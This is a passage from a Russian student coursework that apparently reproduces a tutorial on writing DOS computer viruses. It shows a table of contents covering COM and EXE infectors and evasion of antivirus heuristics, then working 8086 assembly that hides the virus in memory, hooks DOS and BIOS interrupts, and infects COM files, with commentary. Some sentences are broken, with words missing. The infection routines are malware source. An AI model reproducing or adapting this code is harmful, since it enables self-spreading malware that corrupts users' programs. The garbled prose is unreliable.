Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
это не так просто, как может показаться на первый
взгляд .И поэтому для облегчения нашей работы вме-
сто PID загруженной в память программы мы запишем
в MCB вируса сегментный адрес области данных DOS,
а именно : 0070h :
; ______________________________
;| Теперь свободный блок памяти найден |
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|____________________________
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
Предыдущий фрагмент вернул нам сегментный адрес
выделенного для вируса блока памяти в регистре AX.
Приведенные программные строки очень просты, и
объяснять их работу не нужно. Следует только ска-
зать, что вирус фактически отнимает у DOS несколь-
ко килобайтов памяти, поэтому необходимо скоррек-
тировать PSP программы - носителя вируса.А именно-
уменьшить верхнюю границу блока памяти,выделенного
программе,на длину вирусного кода.Интересующая нас
величина находится по смещению 02h от начала PSP.
2.10 Получаем вектора прерываний
Итак, мы нашли блок памяти, в который часть ини-
циализации
будет копировать вирусный код.
чем инсталлировать вирус в память, необходимо уз-
нать адреса системных обработчиков прерываний.Ведь
вирус
будет вызывать эти
после ) выполнением собственных действий по обра-
ботке того или иного прерывания .Если исходные об-
работчики не будут получать управление, вычислите-
льная система придет в аварийное состояние .
Поэтому :
;_____________________________
mov es,di ;Получаем векто-
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx
mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
Как видим, для определения адресов обработчиков
вирус обращается
ров прерываний.Секция инициализации будет перехва-
тывать прерывания: Int 21h, Int 13h, Int 28h и Int
2fh.Несколько позже мы разберемся, почему потребо-
валось перехватить именно их и приведем тексты ви-
русных обработчиков этих прерываний.
2.11 Копируем вирусный код в память
Теперь настало время переписать в память код виру-
са и подготовить его к работе в резидентном режи-
ме :
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе
mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
В самом начале нужно сбросить в ноль переменную
" tg_infect ", чтобы вирус не занимался заражением
файлов, пока его об этом не попросят .Далее,в пер-
вые два байта кода вируса, который мы собираемся
записывать в память, следует записать две команды
NOP, или код 9090h ( см п. 2.2 ) .
Теперь тело вируса просто копируется в блок памя-
ти, сегментный адрес которого задан в регистре AX.
2.12 Устанавливаем вектора прерываний
на вирусные обработчики
Все подготовительные действия выполнены, и нам то-
лько осталось заменить адреса системных обработчи-
ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
на адреса вирусных
обработчиков,после чего необхо
димо передать управление зараженной программе .Это
мы сейчас и сделаем :
xor bx,bx ;Устанавливаем
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h
mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh
mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h
mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti
jmp fresh_bytes ;Установка
Модификация векторов прерываний в особых коммента-
риях не нуждается . А команда " jmp fresh_bytes "
передает управление на программный код,выполняющий
восстановление исходных трех байт программы - жер-
твы .
Таким образом, мы
разработали секцию
нашего вируса . И поэтому настало время перейти к
созданию резидентной секции .Все оставшиеся пункты
этой главы будут посвящены именно разработке рези-
дентной части .
2.13 Пишем резидентную часть
Начало резидентной части мы создали в первых пунк-
тах главы ( см п. 2.5 ).А теперь просто продолжим,
и допишем до конца "заразную" часть вирусной про-
граммы :
infect: push cs ;DS = CS ...
pop ds
mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax
cmp tg_13h,0 ;INT 13h
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход
Сразу за меткой " infect " мы записали команды ко-
торые корректируют содержимое DS при работе в ре-
зидентном режиме .Если этого не сделать, то отно-
сительный адрес каждой ячейки памяти придется уме-
ньшать на 110h ( см п. 2.5 ).Далее вирус проверяет
значение переменной "tg_13h" .Дело в том,что рези-
дентный вирус обязательно должен заражать файлы,
находясь в памяти, и поэтому без обращения к диску
в резидентном режиме нам не обойтись.Такое обраще-
ние,
естественно, должно
моменты,когда никакие другие программы не работают
с диском .Если это условие не соблюдается, непре-
менно
возникнет программный
к неприятным последствиям .Особенно это относится
к тем
случаям,когда на машине
будь кэш ( например, SMARTDRIVE или HYPERDISK ) .
В этом случае может случиться так, что вирус и кэш
попробуют обратиться к диску одновременно, а это
недопустимо !
Решить проблему помогает введение переменной "tg_
13h" .Она принимает значение " 1 ", когда к диску
выполняется обращение, или значение " 0 ", если в
данный момент обращения к диску нет.Для инициали-
зации переменной используется специальный "фильтр"
прерывания Int 13h, который будет описан ниже .
Итак, если " tg_13h " равна " 1 ",вирус возвращает
управление прерванной программе,в противном случае
работа вирусного кода продолжается .
2.14 Заражаем COM - файл
В случае, если прерывание Int 13h не выполняется,
можно заняться поиском подходящего COM - файла и
его
заражением.Этот процесс
ется
от действий нерезидентного
мы
просто используем
останавливаясь подробно на его работе :
all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )
mov bp,bx
mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta
find_first:
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta
retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta
retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name
xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name
check_command:
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1
mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta
save_bytes:
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size
jmp cs:close
found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...
count_size:mov si,ax ;Вычислим
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close
read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close
cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next
write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close
mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close
write_bytes:
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close
mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл
restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh
Как видите, в созданный ранее фрагмент были внесе-
ны некоторые изменения, в которых мы сейчас и раз-
беремся .
Поскольку вирус будет заражать файлы в резидентном
режиме,он будет пользоваться DTA активной в данный
момент программы,что приведет к ее разрушению.Что-
бы этого не происходило, нужно сохранить ее в об-
ласти данных вируса, а после завершения работы ви-
руса - восстановить.Получить адрес текущей DTA мо-
жно с помощью функции DOS 2Fh, которая и использу-